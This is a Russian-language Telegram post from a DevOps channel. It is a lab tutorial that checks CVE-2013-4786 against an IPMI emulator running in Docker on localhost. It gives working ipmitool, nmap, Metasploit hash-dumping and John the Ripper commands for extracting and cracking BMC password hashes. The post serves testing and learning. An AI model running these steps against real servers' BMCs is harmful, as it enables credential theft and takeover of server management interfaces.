Сочный DevOps on Telegram: “Проверка CVE-2013-4786 (IPMI RAKP offline crack)…”

Проверка CVE-2013-4786 (IPMI RAKP offline crack) на эмуляторе в Docker

В IPMI 2.0 в сообщении RAKP msg2 BMC отдаёт HMAC от пароля пользователя, хэш можно унести и брутить оффлайн. Это можно проверить на эмуляторе.

Создадим docker-compose.yml:

services:
  ipmi-sim:
    image: vaporio/ipmi-simulator
    container_name: ipmi-sim
    ports:
      - "623:623/udp"
    volumes:
      - ./state:/var/ipmi_sim
    restart: unless-stopped

Запускаем:

docker compose up -d

Эмулятор будет запущен с дефолтными кредами ADMIN/ADMIN.

Проверим, что образ работает:

ipmitool -I lanplus -H 127.0.0.1 -U ADMIN -P ADMIN -C 3 chassis status

В выводе мы увидим что-то вроде:

System Power         : on
Power Overload       : false
Power Interlock      : inactive
Main Power Fault     : false
Power Control Fault  : false
Power Restore Policy : always-off
Last Power Event     : 
Chassis Intrusion    : inactive
Front-Panel Lockout  : inactive
Drive Fault          : false
Cooling/Fan Fault    : false

Поиск nmap-ом:

nmap -sU --script ipmi-version -p 623 127.0.0.1

Получить хеш и в данном примере пароль, можно через метасплойт модуль в одну команду:

msfconsole -q -x "
use auxiliary/scanner/ipmi/ipmi_dumphashes;
set RHOSTS 127.0.0.1;
set RPORT 623;
run; exit"

Ожидаемый вывод:

[+] 127.0.0.1:623 - IPMI - Hash found: ADMIN:<...>
[+] 127.0.0.1:623 - IPMI - Hash for user 'ADMIN' matches password 'ADMIN'

Если метасплойт не подобрал пароль, то мы можем забрать хеш и взломать его перебором оффлайн:

msfconsole -q -x "
use auxiliary/scanner/ipmi/ipmi_dumphashes;
set RHOSTS 127.0.0.1;
set RPORT 623;
set OUTPUT_JOHN_FILE /tmp/ipmi.john;
run; exit"

Перебираем john-ом:

sudo john --format=rakp --wordlist=<path/to/worldlist> /tmp/ipmi.john

#secuirty